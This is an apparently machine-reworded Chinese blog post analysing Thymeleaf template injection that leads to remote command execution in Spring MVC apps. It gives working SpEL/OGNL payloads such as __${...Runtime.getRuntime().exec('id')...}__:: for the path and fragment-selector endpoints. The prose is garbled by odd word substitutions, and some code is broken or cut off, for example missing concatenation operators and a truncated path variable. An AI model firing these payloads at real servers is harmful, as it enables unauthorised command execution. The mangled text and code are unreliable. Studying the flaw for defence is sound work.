×

Thymeleaf模板注入导致命令执行漏洞分析

访客 访客 发表于2021-09-29 00:51:36 浏览744 评论2

2人参与发表评论

文中相互配合:https://github.com/veracode-research/spring-view-manipulation/服用更好。

情况:

Thymeleaf 是与 java 相互配合应用的一款服务器端模板引擎,也是 spring 官方网适用的一款服务器端模板引擎。他适用 HTML 原形,在 HTML 标识中提升附加的特性来做到模版 数据信息的展现方法。默认作为前缀:/templates/ ,默认后缀名:.html 。

最先大家来了解一下这一系统漏洞产生的一些早期专业知识:

一、 spring mvc 及 thymeleaf 基本下载 github 中的新项目,在 idea 中导进。(导进时挑选 pom.xml 并以 project 的方式开展导进,那样他会自身去下载他的依靠,也就是 jar 包,配备 maven 这种如果有需要的话会独立写一篇文章。)要等他下载 jar 包进行,因此稍等一会。以后,大家赶到 HelloController.java 文档。
@GetMapping("/")
public String index(Model model){
model.addAttribute("message", "happy birthday");
return "welcome";
}
这一方法名上加了 @GetMapping("/") 的注释,表明要求方法为 get 的 url 为 / 的要求会进入这一方法体里边开展解决。在这个方法里边,给 model 传到了一个主要参数,key 为 message ,value 为 happy birthday ,这一 model 会和我们要返回的视图名一起传到前面。这儿的 return "welcome" 返回的是视图名,thymeleaf 会默认再加上作为前缀 /templates 及后缀名 .html ,即最后返回的视图名便是 /templates/welcome.html ,携带大家的数据信息 model 。
 DOCTYPE HTML>
 html xmlns:th="http://www.thymeleaf.org">
 div th:fragment="header">
 h3>Spring Boot Web Thymeleaf Example /h3>
 /div>
 div th:fragment="main">
 span th:text="'Hello, ' ${message}"> /span>
 /div>
 /html>
这儿最先将 html 的名字室内空间设定为 thymeleaf ,下面 html 文本文档中就可以应用 thymeleaf 中的命令了。例如下面的 div 标识中就会有 th:fragment 、th:text 这类方式,这类便是 thymeleaf 中的命令。在到数第三行中, ${message}表明从 model 中取相匹配 key 的值,而 ${…}这里边是 ognl/SpringEL 关系式,例如 ${7*7}会实行里边计算,获得 49 ,一样延申一下 ognl 关系式:${#rt=@java.lang.Runtime@getRuntime(),#rt.exec("calc")},SpringEL 关系式:${T(java.lang.Runtime).getRuntime().exec('calc')}。${}內部的根据 OGNL 关系式模块分析的,外界的根据 thymeleaf 模板引擎分析 。

系统漏洞发生在 thymeleaf 的精彩片段选择符中,有关精彩片段选择符是啥,根据一个小事例便会了解。

二、 精彩片段选择符,templatename::selector
@GetMapping("/fragment")
public String fragment(@RequestParam String section){
return "welcome :: " section; //fragment is tainted
}
这儿接受一个 section 的主要参数,这一主要参数来决策大家网页页面表明哪一个一部分。这儿沒有上一个的 Spring Boot Web Thymeleaf example 字眼了。将 section 换为 header ,就沒有 Hello, ${message}字眼了。3、 系统漏洞详细信息,thymeleaf 在分析包括 :: 的模版名时,会将其做为关系式去开展实行。官方网文本文档中也有提及。github 的文章内容给的 payload :__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x这在其中除开 __ 下横线临时不理解以外,别的的应当都能清晰了。后边的 .x 是不用还可以的,或是还可以换为别的的标识符。__${…}__ 是 thymeleaf 中的预备处理关系式,也就是会对双下横线包起來的关系式开展预备处理。例如:#{selection.__${sel.code}__},这儿得话 thymeleaf 会先对 ${sel.code}开展分析,若分析的結果为 ALL ,那麼再将其結果做为基本关系式的一部分,也就是 #{selection.ALL}因此,融合大家的 payload ,由于 payload 中包括了 :: ,也就是会将 templatename 及其 selector 做为关系式去开展实行,在这儿给的 payload 中,关系式在模版名的部位: __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}实行 id 这条指令,由于他会开展一个预备处理那麼不管他前边和后边有哪些都是会先去解决这一关系式,也就都是会去实行里边的指令。四、 实际操作

4.1 最先看一下

@GetMapping("/path")
public String path(@RequestParam String lang){
return "user/" lang "/welcome"; //template path is tainted
}

这时候将 lang 主要参数做为控制模块名分析的一部分。payload :/path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::

运行命令并回显。

4.2 再看一下:

@GetMapping("/fragment")
public String fragment(@RequestParam String section){
return "welcome :: " section; //fragment is tainted
}

这时候是将 section 放到 selector 的部位。一样是上边的 payload :/path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::

这时候沒有回显,情况也是 200 ,调节以后发觉,前边模版名找不着会抛出去一个出现异常,而这儿是将大家的 section 放进 welcome :: 后边,而这时候是寻找的模版名,找不着 selector ,这时候他不容易抛出异常,仅仅沒有內容表明了,可是指令依然会实行。

换句话说,假如将 payload 改为 /path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__:: 是能弹出来计算方式的。检测发觉,payload :/fragment/?section=${T(java.lang.Runtime).getRuntime().exec("calc")}在这儿也是能够 实行的,由于 thymeleaf 会将 templatename 、selector 各自做为关系式实行。而这一系统漏洞自然环境中,welcome :: 后边立即加的 section ,而 section 后边都没有别的的标识符危害,因此无需 __${…}__ 标记还可以。4.3 也有一种奇幻实际操作,
@GetMapping("/doc/{documen ")
public void getDocument(@PathVariable String document){
log.info("Retrieving " document);
//returns void, so view name is taken from URI
}
这时候返回数值空,并沒有返回视图名,这时的视图名会从 URI 中获得,实际完成的编码在 DefaultRequestToViewNameTranslator 中的 getViewName 方法:
public String getViewName(HttpServletRequest request){
String lookupPath=this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
return (this.prefix transformPath(lookupPath) this.suffix);
 
 

群贤毕至

访客
鸠骨庸颜 鸠骨庸颜2022-06-23 16:19:36 | 回复 ion 后边都没有别的的标识符危害,因此无需 __${…}__ 标记还可以。4.3 也有一种奇幻实际操作,@GetMapping("/doc/{documen
瑰颈皆叹 瑰颈皆叹2022-06-23 09:12:40 | 回复 常,而这儿是将大家的 section 放进 welcome :: 后边,而这时候是寻找的模版名,找不着 selector ,这时候他不容易抛出异常,仅仅沒有內容表明了,可是指令依然会实行。换句话说,假如将 payload 改为 /path?la